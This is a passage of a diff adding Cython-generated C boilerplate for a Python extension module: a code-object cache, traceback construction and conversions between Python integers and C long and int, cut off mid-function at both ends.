__pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { + PyCodeObject* tmp = entries[pos].code_object; + entries[pos].code_object = code_object; + Py_DECREF(tmp); + return; + } + if (__pyx_code_cache.count == __pyx_code_cache.max_count) { + int new_max = __pyx_code_cache.max_count + 64; + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( + __pyx_code_cache.entries, ((size_t)new_max) * sizeof(__Pyx_CodeObjectCacheEntry)); + if (unlikely(!entries)) { + return; + } + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = new_max; + } + for (i=__pyx_code_cache.count; i>pos; i--) { + entries[i] = entries[i-1]; + } + entries[pos].code_line = code_line; + entries[pos].code_object = code_object; + __pyx_code_cache.count++; + Py_INCREF(code_object); +} +#endif + +/* AddTraceback */ + #include "compile.h" +#include "frameobject.h" +#include "traceback.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyCode_Replace_For_AddTraceback(PyObject *code, PyObject *scratch_dict, + PyObject *firstlineno, PyObject *name) { + PyObject *replace = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_firstlineno", firstlineno))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_name", name))) return NULL; + replace = PyObject_GetAttrString(code, "replace"); + if (likely(replace)) { + PyObject *result; + result = PyObject_Call(replace, __pyx_empty_tuple, scratch_dict); + Py_DECREF(replace); + return result; + } + PyErr_Clear(); + #if __PYX_LIMITED_VERSION_HEX < 0x030780000 + { + PyObject *compiled = NULL, *result = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "code", code))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "type", (PyObject*)(&PyType_Type)))) return NULL; + compiled = Py_CompileString( + "out = type(code)(\n" + " code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, code.co_stacksize,\n" + " code.co_flags, code.co_code, code.co_consts, code.co_names,\n" + " code.co_varnames, code.co_filename, co_name, co_firstlineno,\n" + " code.co_lnotab)\n", "", Py_file_input); + if (!compiled) return NULL; + result = PyEval_EvalCode(compiled, scratch_dict, scratch_dict); + Py_DECREF(compiled); + if (!result) PyErr_Print(); + Py_DECREF(result); + result = PyDict_GetItemString(scratch_dict, "out"); + if (result) Py_INCREF(result); + return result; + } + #else + return NULL; + #endif +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyObject *code_object = NULL, *py_py_line = NULL, *py_funcname = NULL, *dict = NULL; + PyObject *replace = NULL, *getframe = NULL, *frame = NULL; + PyObject *exc_type, *exc_value, *exc_traceback; + int success = 0; + if (c_line) { + (void) __pyx_cfilenm; + (void) __Pyx_CLineForTraceback(__Pyx_PyThreadState_Current, c_line); + } + PyErr_Fetch(&exc_type, &exc_value, &exc_traceback); + code_object = Py_CompileString("_getframe()", filename, Py_eval_input); + if (unlikely(!code_object)) goto bad; + py_py_line = PyLong_FromLong(py_line); + if (unlikely(!py_py_line)) goto bad; + py_funcname = PyUnicode_FromString(funcname); + if (unlikely(!py_funcname)) goto bad; + dict = PyDict_New(); + if (unlikely(!dict)) goto bad; + { + PyObject *old_code_object = code_object; + code_object = __Pyx_PyCode_Replace_For_AddTraceback(code_object, dict, py_py_line, py_funcname); + Py_DECREF(old_code_object); + } + if (unlikely(!code_object)) goto bad; + getframe = PySys_GetObject("_getframe"); + if (unlikely(!getframe)) goto bad; + if (unlikely(PyDict_SetItemString(dict, "_getframe", getframe))) goto bad; + frame = PyEval_EvalCode(code_object, dict, dict); + if (unlikely(!frame) || frame == Py_None) goto bad; + success = 1; + bad: + PyErr_Restore(exc_type, exc_value, exc_traceback); + Py_XDECREF(code_object); + Py_XDECREF(py_py_line); + Py_XDECREF(py_funcname); + Py_XDECREF(dict); + Py_XDECREF(replace); + if (success) { + PyTraceBack_Here( + (struct _frame*)frame); + } + Py_XDECREF(frame); +} +#else +static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( + const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = NULL; + PyObject *py_funcname = NULL; + #if PY_MAJOR_VERSION < 3 + PyObject *py_srcfile = NULL; + py_srcfile = PyString_FromString(filename); + if (!py_srcfile) goto bad; + #endif + if (c_line) { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + #else + py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + funcname = PyUnicode_AsUTF8(py_funcname); + if (!funcname) goto bad; + #endif + } + else { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromString(funcname); + if (!py_funcname) goto bad; + #endif + } + #if PY_MAJOR_VERSION < 3 + py_code = __Pyx_PyCode_New( + 0, + 0, + 0, + 0, + 0, + 0, + __pyx_empty_bytes, /*PyObject *code,*/ + __pyx_empty_tuple, /*PyObject *consts,*/ + __pyx_empty_tuple, /*PyObject *names,*/ + __pyx_empty_tuple, /*PyObject *varnames,*/ + __pyx_empty_tuple, /*PyObject *freevars,*/ + __pyx_empty_tuple, /*PyObject *cellvars,*/ + py_srcfile, /*PyObject *filename,*/ + py_funcname, /*PyObject *name,*/ + py_line, + __pyx_empty_bytes /*PyObject *lnotab*/ + ); + Py_DECREF(py_srcfile); + #else + py_code = PyCode_NewEmpty(filename, funcname, py_line); + #endif + Py_XDECREF(py_funcname); + return py_code; +bad: + Py_XDECREF(py_funcname); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_srcfile); + #endif + return NULL; +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = 0; + PyFrameObject *py_frame = 0; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject *ptype, *pvalue, *ptraceback; + if (c_line) { + c_line = __Pyx_CLineForTraceback(tstate, c_line); + } + py_code = __pyx_find_code_object(c_line ? -c_line : py_line); + if (!py_code) { + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); + py_code = __Pyx_CreateCodeObjectForTraceback( + funcname, c_line, py_line, filename); + if (!py_code) { + /* If the code object creation fails, then we should clear the + fetched exception references and propagate the new exception */ + Py_XDECREF(ptype); + Py_XDECREF(pvalue); + Py_XDECREF(ptraceback); + goto bad; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + __pyx_insert_code_object(c_line ? -c_line : py_line, py_code); + } + py_frame = PyFrame_New( + tstate, /*PyThreadState *tstate,*/ + py_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (!py_frame) goto bad; + __Pyx_PyFrame_SetLineNumber(py_frame, py_line); + PyTraceBack_Here(py_frame); +bad: + Py_XDECREF(py_code); + Py_XDECREF(py_frame); +} +#endif + +/* CIntToPy */ + static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; + if (is_unsigned) { + if (sizeof(long) < sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(long) <= sizeof(unsigned long)) { + return PyLong_FromUnsignedLong((unsigned long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { + return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); +#endif + } + } else { + if (sizeof(long) <= sizeof(long)) { + return PyInt_FromLong((long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { + return PyLong_FromLongLong((PY_LONG_LONG) value); +#endif + } + } + { + unsigned char *bytes = (unsigned char *)&value; +#if !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX >= 0x030d00A4 + if (is_unsigned) { + return PyLong_FromUnsignedNativeBytes(bytes, sizeof(value), -1); + } else { + return PyLong_FromNativeBytes(bytes, sizeof(value), -1); + } +#elif !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX < 0x030d0000 + int one = 1; int little = (int)*(unsigned char *)&one; + return _PyLong_FromByteArray(bytes, sizeof(long), + little, !is_unsigned); +#else + int one = 1; int little = (int)*(unsigned char *)&one; + PyObject *from_bytes, *result = NULL; + PyObject *py_bytes = NULL, *arg_tuple = NULL, *kwds = NULL, *order_str = NULL; + from_bytes = PyObject_GetAttrString((PyObject*)&PyLong_Type, "from_bytes"); + if (!from_bytes) return NULL; + py_bytes = PyBytes_FromStringAndSize((char*)bytes, sizeof(long)); + if (!py_bytes) goto limited_bad; + order_str = PyUnicode_FromString(little ? "little" : "big"); + if (!order_str) goto limited_bad; + arg_tuple = PyTuple_Pack(2, py_bytes, order_str); + if (!arg_tuple) goto limited_bad; + if (!is_unsigned) { + kwds = PyDict_New(); + if (!kwds) goto limited_bad; + if (PyDict_SetItemString(kwds, "signed", __Pyx_NewRef(Py_True))) goto limited_bad; + } + result = PyObject_Call(from_bytes, arg_tuple, kwds); + limited_bad: + Py_XDECREF(kwds); + Py_XDECREF(arg_tuple); + Py_XDECREF(order_str); + Py_XDECREF(py_bytes); + Py_XDECREF(from_bytes); + return result; +#endif + } +} + +/* FormatTypeName */ + #if CYTHON_COMPILING_IN_LIMITED_API +static __Pyx_TypeName +__Pyx_PyType_GetName(PyTypeObject* tp) +{ + PyObject *name = __Pyx_PyObject_GetAttrStr((PyObject *)tp, + __pyx_n_s_name); + if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { + PyErr_Clear(); + Py_XDECREF(name); + name = __Pyx_NewRef(__pyx_n_s__43); + } + return name; +} +#endif + +/* CIntFromPyVerify */ + #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) +#define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) +#define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ + {\ + func_type value = func_value;\ + if (sizeof(target_type) < sizeof(func_type)) {\ + if (unlikely(value != (func_type) (target_type) value)) {\ + func_type zero = 0;\ + if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ + return (target_type) -1;\ + if (is_unsigned && unlikely(value < zero))\ + goto raise_neg_overflow;\ + else\ + goto raise_overflow;\ + }\ + }\ + return (target_type) value;\ + } + +/* CIntFromPy */ + static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(long) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (long) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + long val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (long) -1; + val = __Pyx_PyInt_As_long(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 2 * PyLong_SHIFT)) { + return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 3 * PyLong_SHIFT)) { + return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 4 * PyLong_SHIFT)) { + return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (long) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(long) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(long) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(long) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + long val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (long) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (long) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (long) -1; + } else { + stepval = v; + } + v = NULL; + val = (long) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(long) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((long) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(long) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((long) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((long) 1) << (sizeof(long) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (long) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to long"); + return (long) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to long"); + return (long) -1; +} + +/* CIntFromPy */ + static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const int neg_one = (int) -1, const_zero = (int) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(int) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (int) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + int val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (int) -1; + val = __Pyx_PyInt_As_int(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 2 * PyLong_SHIFT)) { + return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 3 * PyLong_SHIFT)) { + return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 4 * PyLong_SHIFT)) { + return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (int) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(int) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(int) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + } 